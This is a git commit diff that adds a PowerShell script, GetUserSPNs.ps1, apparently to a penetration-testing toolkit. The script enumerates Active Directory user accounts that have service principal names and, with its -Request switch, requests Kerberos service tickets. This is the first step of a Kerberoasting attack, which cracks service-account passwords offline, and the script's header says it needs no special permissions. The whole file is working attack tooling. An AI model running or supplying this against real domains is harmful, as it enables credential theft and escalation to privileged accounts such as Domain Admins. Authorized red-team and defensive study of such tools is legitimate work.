Windows Binaries + MSSQL hash type

2020-11-07 12:54:18 +01:00
parent 2338077bd6
commit 95f3cad742
13 changed files with 389 additions and 117 deletions
--- a/win/GetUserSPNs.ps1
+++ b/win/GetUserSPNs.ps1
@@ -0,0 +1,129 @@
+# Edits by Tim Medin
+# File:     GetUserSPNS.ps1
+# Contents: Query the domain to find SPNs that use User accounts
+# Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast
+#           The password hash used with Computer accounts are infeasible to 
+#           crack; however, if the User account associated with an SPN may have
+#           a crackable password. This tool will find those accounts. You do not
+#           need any special local or domain permissions to run this script. 
+#           This script on a script supplied by Microsoft (details below).
+# History:  2016/07/07     Tim Medin    Add -UniqueAccounts parameter to only get unique SAMAccountNames
+#           2016/04/12     Tim Medin    Added -Request option to automatically get the tickets
+#           2014/11/12     Tim Medin    Created
+
+[CmdletBinding()]
+Param(
+  [Parameter(Mandatory=$False,Position=1)] [string]$GCName,
+  [Parameter(Mandatory=$False)] [string]$Filter,
+  [Parameter(Mandatory=$False)] [switch]$Request,
+  [Parameter(Mandatory=$False)] [switch]$UniqueAccounts
+)
+
+Add-Type -AssemblyName System.IdentityModel
+
+$GCs = @()
+
+If ($GCName) {
+  $GCs += $GCName
+} else { # find them
+  $ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
+  $CurrentGCs = $ForestInfo.FindAllGlobalCatalogs()
+  ForEach ($GC in $CurrentGCs) {
+    #$GCs += $GC.Name
+    $GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain
+  }
+}
+
+if (-not $GCs) {
+  # no Global Catalogs Found
+  Write-Host "No Global Catalogs Found!"
+  Exit
+}
+
+<#
+Things you can extract
+Name                           Value
+----                           -----
+admincount                     {1}
+samaccountname                 {sqlengine}
+useraccountcontrol             {66048}
+primarygroupid                 {513}
+userprincipalname              {sqlengine@medin.local}
+instancetype                   {4}
+displayname                    {sqlengine}
+pwdlastset                     {130410454241766739}
+memberof                       {CN=Domain Admins,CN=Users,DC=medin,DC=local}
+samaccounttype                 {805306368}
+serviceprincipalname           {MSSQLSvc/sql01.medin.local:1433, MSSQLSvc/sql01.medin.local}
+usnchanged                     {135252}
+lastlogon                      {130563243107145358}
+accountexpires                 {9223372036854775807}
+logoncount                     {34}
+adspath                        {LDAP://CN=sqlengine,CN=Users,DC=medin,DC=local}
+distinguishedname              {CN=sqlengine,CN=Users,DC=medin,DC=local}
+badpwdcount                    {0}
+codepage                       {0}
+name                           {sqlengine}
+whenchanged                    {9/22/2014 6:45:21 AM}
+badpasswordtime                {0}
+dscorepropagationdata          {4/4/2014 2:16:44 AM, 4/4/2014 12:58:27 AM, 4/4/2014 12:37:04 AM,...
+lastlogontimestamp             {130558419213902030}
+lastlogoff                     {0}
+objectclass                    {top, person, organizationalPerson, user}
+countrycode                    {0}
+cn                             {sqlengine}
+whencreated                    {4/4/2014 12:37:04 AM}
+objectsid                      {1 5 0 0 0 0 0 5 21 0 0 0 191 250 179 30 180 59 104 26 248 205 17...
+objectguid                     {101 165 206 61 61 201 88 69 132 246 108 227 231 47 109 102}
+objectcategory                 {CN=Person,CN=Schema,CN=Configuration,DC=medin,DC=local}
+usncreated                     {57551}
+#>
+
+ForEach ($GC in $GCs) {
+    $searcher = New-Object System.DirectoryServices.DirectorySearcher
+    $searcher.SearchRoot = "LDAP://" + $GC
+    $searcher.PageSize = 1000
+    $searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))"
+    $searcher.PropertiesToLoad.Add("serviceprincipalname") | Out-Null
+    $searcher.PropertiesToLoad.Add("name") | Out-Null
+    $searcher.PropertiesToLoad.Add("samaccountname") | Out-Null
+    #$searcher.PropertiesToLoad.Add("userprincipalname") | Out-Null
+    #$searcher.PropertiesToLoad.Add("displayname") | Out-Null
+    $searcher.PropertiesToLoad.Add("memberof") | Out-Null
+    $searcher.PropertiesToLoad.Add("pwdlastset") | Out-Null
+    #$searcher.PropertiesToLoad.Add("distinguishedname") | Out-Null
+
+    $searcher.SearchScope = "Subtree"
+
+    $results = $searcher.FindAll()
+    
+    [System.Collections.ArrayList]$accounts = @()
+        
+    foreach ($result in $results) {
+        foreach ($spn in $result.Properties["serviceprincipalname"]) {
+            $o = Select-Object -InputObject $result -Property `
+                @{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, `
+                @{Name="Name";                 Expression={$result.Properties["name"][0].ToString()} }, `
+                #@{Name="UserPrincipalName";   Expression={$result.Properties["userprincipalname"][0].ToString()} }, `
+                @{Name="SAMAccountName";       Expression={$result.Properties["samaccountname"][0].ToString()} }, `
+                #@{Name="DisplayName";         Expression={$result.Properties["displayname"][0].ToString()} }, `
+                @{Name="MemberOf";             Expression={$result.Properties["memberof"][0].ToString()} }, `
+                @{Name="PasswordLastSet";      Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, `
+                #@{Name="DistinguishedName";   Expression={$result.Properties["distinguishedname"][0].ToString()} }
+            if ($UniqueAccounts) {
+                if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) {
+                    $accounts.Add($result.Properties["samaccountname"][0].ToString()) | Out-Null
+                    $o
+                    if ($Request) {
+                        New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
+                    }
+                }
+            } else {
+                $o
+                if ($Request) {
+                    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
+                }
+            }
+        }
+    }
+}